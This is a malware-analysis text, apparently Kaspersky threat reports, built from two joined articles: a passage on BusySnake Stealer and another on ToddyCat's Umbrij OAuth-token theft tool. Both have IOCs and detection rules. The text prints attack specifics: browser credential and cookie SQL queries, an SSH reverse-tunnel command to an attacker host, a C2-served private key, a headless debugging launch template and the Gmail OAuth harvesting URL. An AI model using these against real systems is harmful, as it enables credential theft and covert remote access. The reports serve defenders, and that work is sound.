handle_remote_control_command	Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

Handler Name	Endpoint	Request body	Description
poll_commands	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/?bid={Config.BUILD_ID}	–	Awaits new commands for execution
poll_tasks	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/tasks/?bid={Config.BUILD_ID}	–	Awaits Python scripts for execution
set_task_status	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/{task_id}/	{ ‘status’: status, ‘logs’: logs }	Transmits task status updates
upload_file_once	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/files/	{ ‘file’:(file_name,io.BytesIO(text.encode(‘utf8’), ‘text/plain; charset=utf8’) } meta= { ‘name’: file_name, ‘file_type’: file_type, ‘task_id’:task_id }	File exfiltration to the C2

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

Introduction

We continue to share details on the malicious techniques and toolsets used by the ToddyCat APT group. In the first part of this report, we examined the group’s attacks aimed at stealing data from browsers, as well as from local and cloud email services. The methods used in that campaign indicated that ToddyCat was attempting to access corporate correspondence while evading monitoring tools. However, all of the group’s methods we described previously are effectively detected by EPP and EDR solutions.

The attackers continued their search for ways to bypass security solutions and developed a new tool to gain access to a victim’s cloud account via the Google API. Armed with this tool, the group automated all stages of the attack and managed to remain undetected by monitoring systems.

In this part of the report, we break down the mechanics of this new attack and analyze the tool that was used to automate it. We’ll also discuss how to detect and defend against this threat.

Umbrij

In this campaign, the attackers focused their attention on corporate email communications hosted on Gmail, targeting access compromise via APIs. Because the Google API relies on the OAuth 2.0 protocol for authorization, applications can use an OAuth token to access requested email resources. To acquire this token, the threat actors developed a tool called Umbrij and used it to connect to the browser’s management console in headless mode via a remote debugging port. Through a series of requests, they obtained an OAuth authorization code, which they subsequently exchanged for an access token to reach the target resources via the API. We have dubbed this technique Shadow Token via Remote Debug (STRD).

This attack is viable on Chromium-based browsers. If the user has not logged out of their Gmail account, the browser maintains an active session. The attackers exploit this: they launch the browser, connect via the remote debugging port to take control, and send a request to the Gmail service to grant access to the Google account resources within the context of the user’s saved session.

During our investigation of this attack, we discovered several versions of the Umbrij tool. These versions included a variety of helper functions designed for debugging, as well as for searching and selecting user accounts within the browser, among other tasks.

Kaspersky solutions detect this tool with the following verdicts: HEUR:Trojan-PSW.MSIL.Umbrij.gen, HEUR:Trojan.MSIL.Agent.gen, HEUR:Trojan-PSW.MSIL.Agent.gen.

Execution

The Umbrij tool was discovered during a proactive threat hunting operation: a scheduled task, KasperskyEndpointSecurityEDRAvp, was running on a user host, launching a digitally signed file. Kaspersky solutions do not create scheduled tasks with that name; the attackers were attempting to masquerade their malicious activity as a legitimate process.

The signed file then used the DLL sideloading technique to load the malicious tool.

Throughout our observation period, we identified the following legitimate files vulnerable to the DLL sideloading technique that were used to launch Umbrij:

1. BDSubWiz.exe: a component of the Submission Wizard in Bitdefender ConnectAgent, which is used to support connection features and interaction with other Bitdefender services or agents. This file insecurely loads a file named log.dll.
2. VSTestVideoRecorder.exe: a component of the video-recording tool used for testing with Visual Studio (VS Test). This executable insecurely loads a file named Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll.
3. GoogleDesktop.exe: the discontinued Google Desktop Search application for indexing files and performing quick searches on a local Windows computer. This executable insecurely loads a file named GoogleServices.dll.

These files were used to load different versions of Umbrij; the same legitimate file could be leveraged to launch more than one variant. In total, we discovered three versions of Umbrij, which we refer to as a, b, and c for convenience.

The tool itself is a DLL written in .NET and obfuscated with ConfuserEx, an open-source obfuscator for .NET applications.

Umbrij is managed with the help of parameters passed through a command line at startup, although it is occasionally executed without any parameters. Below are examples of the command lines observed in attacks against users:

"c:\Users\Public\BDSubWiz.exe" -regex <name> -deepsearch
c:\windows\vss\bds.exe

However, these are not the only parameters the tool can accept and process. During the analysis of its executable code, we discovered additional parameters that vary depending on the version of Umbrij. See the table below for the parameters and their descriptions.

Version	Command	Description
a	-regex <string>	Used in conjunction with the -deepsearch parameter. Specifies a substring to search for within the user_name field of the user profile file, which typically contains the email address. The tool will utilize the user profile that matches this specified substring
a	-user <username>	Specifies the system username under which the tool will run
a	-runas-currentuser	Configures Umbrij to run within the execution context of the current user
a	-deepsearch	Enforces additional checks on the user_name field in the user profile: verifying that it is not empty and that it contains the substring specified in the -regex parameter
a, b, c	-path <path>	Specifies the full path to the directory containing the browser’s executable file
a, b, c	-browser <both|msedge|chrome>	Specifies which browser the tool should target: Google Chrome, Microsoft Edge, or both
a, b, c	-debugport <port>	Specifies the remote debugging port number
a, b, c	-sync	When this parameter is specified in the URL, the value 1095133494869 replaces 279448736670 in the permission request
b	-domainAd	Specifies the domain name if the user account is a domain account
b	-savepdf	Instructs Umbrij to save a screenshot of the user profile as a PDF file
c	-lport	Same as debugport

Environment preparation

At startup, the tool evaluates several prerequisites required to carry out the attack and performs preparatory actions to subsequently compromise the Gmail account.

First, Umbrij verifies the availability of the port that will be designated for browser debugging. To accomplish this, the tool utilizes a function named ChekPortAvailable() (original spelling retained), which accepts the target port number as a parameter. It then retrieves information about active connections on the host using the .NET GetActiveTcpConnections() function from the System.Net.NetworkInformation namespace. The tool iterates through each connection in a loop, comparing the port number to the one it is checking.

After this, the tool retrieves the user context. It searches the system for the explorer.exe process and duplicates its token, retaining all of its privileges (T1134.003 Access Token Manipulation: Make and Impersonate Token). This is the exact same mechanism used by another tool in the group’s arsenal, TomBerBil, which we covered previously.

By default, Umbrij duplicates the token of the first explorer.exe process it encounters. If multiple users are logged in to the system, the -user <username> switch can be used to specify the name of the target user whose token to duplicate. If the -runas-currentuser switch is specified, the tool will execute within the context of the current user without duplicating any tokens.

Next, Umbrij constructs the path to the browser application folder within the user’s local application data repository. To do this, it uses the Environment.SpecialFolder.LocalApplicationData command to retrieve the repository directory from the environment variable and appends the directory of the target browser. The tool then searches for the Local State file in the following folders:

• %LOCALAPPDATA%\Google\Chrome\User Data\Local State
• %LOCALAPPDATA%\Microsoft\Edge\User Data\Local State

See below for an example of the Local State file structure.

Within this file, the tool searches for the info_cache array, which stores information about browser user profiles. Umbrij enumerates all user profiles and looks for those containing a user_name field that includes an email address. The presence of an email address indicates that the user is authenticated to a Google service. While the tool can interact with every profile it finds, if the -regex <string> parameter is passed through a command line, it searches for the specified substring within the email addresses being enumerated and proceeds exclusively with those matches.

Next, Umbrij creates the following directories for Google Chrome and Microsoft Edge, respectively:

• %LOCALAPPDATA%\Google\Chrome\BackupFiles\
• %LOCALAPPDATA%\Microsoft\Edge\BackupFiles\

The tool copies the following user files and folders of each target user profile into these directories:

• IndexedDB: a folder containing a relational database used for client-side storage of structured data
• Local Storage: a component of the browser’s web storage that provides a key-value mechanism for storing data on the client side
• Network: a folder where the browser stores files related to network requests and caching, such as the network cache and session files
• Login Data: a file that stores saved passwords for various websites and applications
• Login Data For Account: a file that stores credentials associated with a Google account or other synchronized accounts within the browser
• Preferences: a file containing profile-level browser settings
• Secure Preferences: a file that stores protected configurations, such as security and synchronization data
• Web Data: a file that stores auto-fill data

If these files are locked by other processes, the tool includes a dedicated function to force-copy them.

As the next step, the tool searches the “Program Files” and “Program Files (x86)” directories for the browser installation folder. Once it locates the executable file and successfully copies all required files, it is ready to proceed with acquiring the authorization code.

Acquiring the authorization code

In the next phase of execution, Umbrij launches Google Chrome, Microsoft Edge, or both browsers sequentially, depending on the parameters passed in the command line. It then passes arguments to the browser based on the following template:

"\"{1}\" --user-data-dir=\"{0}\" --remote-debugging-port={2}  --profile-directory=\"Default\" --headless https://www.google.com/"

It populates the template with the following values:

• {0}: the path to \BackupFiles\, where the user profile files were copied
• {1}: the path to the browser executable file
• {2}: the remote debugging port number

The table below describes the parameters used in this browser launch template:

Parameter	Description
–user-data-dir	Specifies the path to the root directory that will store the shared browser data and user profiles
–remote-debugging-port	Opens a port for remote browser debugging over the DevTools protocol. This switch is commonly used for automated testing with frameworks like Selenium
–profile-directory	Specifies the name of the specific profile folder within the user-data-dir
–headless	Launches the browser in headless mode, that is, without a graphical user interface

The browser process runs in headless mode while utilizing the copied user profile. Consequently, all active user cookies are applied, which means sites with saved credentials will skip authentication prompts. Furthermore, the browser will log history to a new folder, keeping it completely hidden from the user’s primary account view.

Through this method, the threat actors gain access to the user’s authenticated sessions — specifically their Google account — along with the ability to erase any trace of their activity within the browser.

Next, the tool uses the Puppeteer Sharp library, a .NET version of Puppeteer, to connect to the remote debugging port. Puppeteer provides a high-level API to control Chrome or Chromium browsers over the DevTools protocol. Its primary use is for automated testing.

If the connection to the remote debugging port is successful, Umbrij sends a GET request to direct the browser to the following URL:

https[:]//accounts[.]google[.]com/o/oauth2/v2/auth/identifier?response_type=code&client_id=279448736670.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar.readonly%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fmail.google.com%2F%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.insert%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.labels%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.user%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Ftasks%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.group.readonly%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fapps.groups.migration%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile&flowName=GeneralOAuthFlow

The value specified in the client_id field belongs to Google Workspace Migration for Microsoft Outlook (GWMMO). This is Google’s official tool for importing email, calendar events, and contacts from Microsoft Exchange accounts or local PST files into a Google Workspace account.

Umbrij also includes the ability to switch the client_id value from 279448736670 to 1095133494869 by using the -sync parameter. This second identifier belongs to another application: Google Workspace Sync for Microsoft Outlook (GWSMO), which allows users to sync email, calendars, and other data from the cloud account directly into Microsoft Outlook.

The remaining parameters used in the request differ from those typically utilized by the legitimate applications. See the table below for a comparison of these parameters:

GET request parameter	URL used by Umbrij	Original URL
flowName=GeneralOAuthFlow	Present	Absent
code_challenge (PKCE)	Absent	Present (method=S256)
state	Absent	Present
login_hint	Absent	Present
redirect_uri	http://localhost	http://localhost:61619/callback

As seen from the list above, Umbrij omits several parameters characteristic of the legitimate applications. For instance, Umbrij drops the code_challenge parameter, normally used for data protection when retrieving an authorization code. Additionally, the tool modifies the redirection address: while the legitimate application specifies a dedicated port and a callback path, the tool simply points to localhost.

The authorization code request specifies the set of permissions for Google services required by the application. This list also differs significantly between requests issued by the legitimate application and those generated by Umbrij. The table below details the variations in the requested scopes:

Service parameter	URL used by Umbrij	Original URL
https://www.google.com/m8/feeds/	Present (specified twice)	Absent
https://www.googleapis.com/auth/contacts	Absent	Present
https://www.googleapis.com/auth/admin.directory.resource.calendar.readonly	Absent	Present
https://www.googleapis.com/auth/peopleapi.readonly	Absent	Present

After the browser navigates to the URL provided by Umbrij, the Google account selection page opens.

Because the attackers copied the victim’s profile folder and are operating within their specific environment, the account selection options will include the currently signed-in user’s authenticated session. Umbrij identifies the corresponding element within the page’s HTML source code.

The tool uses JavaScript to emulate a mouse click on the elements, allowing it to proceed to the next step.

The subsequent step opens a page displaying the list of requested permissions.

As shown in the screenshot, Umbrij requests full access to email, cloud storage, and contacts. Just like in the previous step, it uses JavaScript to click the “Allow” button, which completes the authentication process.

The browser is then redirected to the local address that was specified in the redirect_uri parameter of the initial request. The tool intentionally omits a port and a path to a specific page in the redirect_uri because the true objective of this action is simply to capture the code parameter from the context of the GET request. This parameter contains the OAuth authorization code. To retrieve it, Umbrij extracts the substring located between the code= and &scope parameters.

Results

Umbrij, like most other tools in ToddyCat’s arsenal, logs its actions in detail and saves them to a file. It also saves the retrieved authorization code to this log file, which the operator subsequently exfiltrates from the compromised host.

Below is an example of a log file generated by version a of the tool.

------------------------------
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] switch to sync mode.
[!] port 11111 is available!
[*] Impersonate <username> success!
[*] browser switch to chrome .
Parsing C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State ...
[*] detected profile: Profile 4 ==> <email>@gmail.com
[*] ready auth for <email>@gmail.com.
[*] Browser Exe path C:\Program Files\Google\Chrome\Application\chrome.exe.
[!] CreateProcessAsUserW...
[*] Browser created with pid 3108
[???] <email>@gmail.com
[pup] mail : <email>@gmail.com
[pup] account choice click !
[pup] Allow click !
[<email>@gmail.com] 4%2F0AcvDMrDtzQaC-TT8<hash>uMhg 
[*] RevertToSelf succeed!
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The log indicates that the sync mode is selected (meaning the Google Workspace Sync for Microsoft Outlook application is used) and the debugging port is set to 11111. After locating the user profile and copying its folder, Umbrij launches Google Chrome. After this, the tool emulates clicks on the appropriate buttons to confirm permissions, ultimately outputting the final result of the operation: the stolen OAuth authorization code.

Since all requests occur within a background browser instance, the tool includes a feature to generate a PDF snapshot of the web page where the permission confirmation process halted in the event of an error.

Additionally, the tool can create a PDF file for the user profile in Google Chrome and Microsoft Edge by navigating to the following internal addresses:

• edge://profile-internals
• chrome://profile-internals

Example contents of a generated PDF file

The acquired authorization code is then exchanged for an OAuth access token. The threat actors use that token to connect to the Gmail account through the API, thus compromising corporate email communications. The diagram below illustrates the complete attack workflow.

Detection

DLL sideloading

First and foremost, defenders should monitor library loading events (DLL loads) associated with the known applications vulnerable to DLL sideloading that are exploited by this tool: Bitdefender ConnectAgent, Visual Studio, and Google Desktop Search.

title: Possible Dll Hijacking Of Microsoft VisualStudio QualityTools dll
id: 246f1409-2993-46f6-9b77-e447a327df5d
status: experimental
description: Detects possible DLL hijacking of Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll by looking for suspicious image loads, loading this DLL from unexpected locations
author: kaspersky
date: 2025-08-11
tags:
    - attack.defense-evasion
    - attack.t1574.001
logsource:
    product: windows
    category: image_load
detection:
    selection:
        ImageLoaded|endswith: 'Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll'
    filter:
        ImageLoaded|contains: '\IDE\Extensions\TestPlatform\Extensions\'
    condition: selection
falsepositives:  Legitimate activity
level: high

Browser launch

Launching a browser with a remote debugging port specified is a highly unusual event on standard user hosts that are not running web application development or automated testing workflows. Consequently, monitoring for these specific command-line arguments can serve as a reliable indicator of this attack.

title: Launching Chrome With Debug Parameters
id: f072803f-3cf4-4537-82e6-e8b3a201d99f
status: stable
description: Detects the execution of Chromium based browsers launched with incognito mode and remote debugging enabled
author: kaspersky
date: 2025-12-11
tags:
    - attack.lateral_movement
    - attack.defense_evasion
    - attack.t1550.001
logsource:
    category: process_creation
    product: windows

detection:
    selection:
        CommandLine|contains|all:
            - '--remote-debugging-port'
            - '--headless'
    condition: selection
falsepositives: Opening a browser as part of web application testing. Legitimate activity
level: high

Revoking third-party access

To review the authorization codes granted to applications, navigate to the Google Account settings under the Third-party apps & services section, or access the following URL directly:

https://myaccount.google.com/connections

This page displays a comprehensive list of applications and services that currently have permission to access the account.

If the Google Workspace Migration for Microsoft Outlook or Google Workspace Sync for Microsoft Outlook applications appear in this list but are not actually used within your organization, revoke their access immediately. This will invalidate all potentially compromised OAuth tokens associated with them.

Risk mitigation

Launching a browser with a remote debugging port enabled is inherently suspicious for users who do not engage in web development. For these employees, you can completely disable Chromium-based browser developer tools.

This can be achieved by configuring the DeveloperToolsAvailability policy. To enforce this, set the registry value to 0x00000002 for the following Windows Registry key and restart the browser:

HKLM\Software\Policies\Google\Chrome\DeveloperToolsAvailability

To verify that the policy has been successfully applied, navigate to the browser’s internal policies page at chrome://policy:

Note that while disabling developer tools can successfully disrupt the automated retrieval of the OAuth authorization code, it will not help, however, if the adversary decides to leverage the browser’s graphical user interface (GUI) — though this manual approach is significantly less likely due to the friction it introduces for the attackers. Therefore, as a risk mitigation measure, users should be instructed to explicitly log out of their Google accounts as soon as their sessions are complete.

Takeaways

The ToddyCat APT group continues to search for ways of compromising corporate email communications. We have been tracking the group for a long time and we have observed continuous updates to its arsenal in an attempt to bypass security defenses, even as their core techniques remain consistent. For instance, the group has long relied on DLL sideloading to stealthily drop malicious utilities and scheduled tasks. However, their new tool, Umbrij, automates the attackers’ attempts to gain access to organizational email accounts. This automation not only helps increase the scale and frequency of their attacks but also demonstrates ToddyCat’s strong motivation and advanced technical skills.

To defend against these threats, corporate security teams must monitor for suspicious library loading events initiated by legitimate files, watch for instances of browsers launching in developer mode, and conduct regular audits of third-party applications and services with access permissions to Google accounts. Furthermore, deploying a robust, comprehensive security solution — such as Kaspersky Next — is critical to detect this type of malicious host-based activity in a timely manner.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Malicious files
1AB58838E5790EFB22F2D35AB98C0B7D              Umbrij ver. a
A7D7D6C4C3F227F7117261C63B9E23A9              Umbrij ver. a
3D3A621F852C42D97FD7260681E42508              Umbrij ver. a
3432DD9AC0DF80EF86EB80BD080F839B             Umbrij ver. a
22AAEB4946BA6D2F2E27FEB7DBB295DE             Umbrij ver. b
F61FBFB7AA1CD5DC8F70B055B51563E2              Umbrij ver. b
F169D6D172DFB775895A5E2B1540C854              Umbrij ver. c

Legitimate files leveraged for DLL sideloading

MD5	File name	Name of DLL being loaded
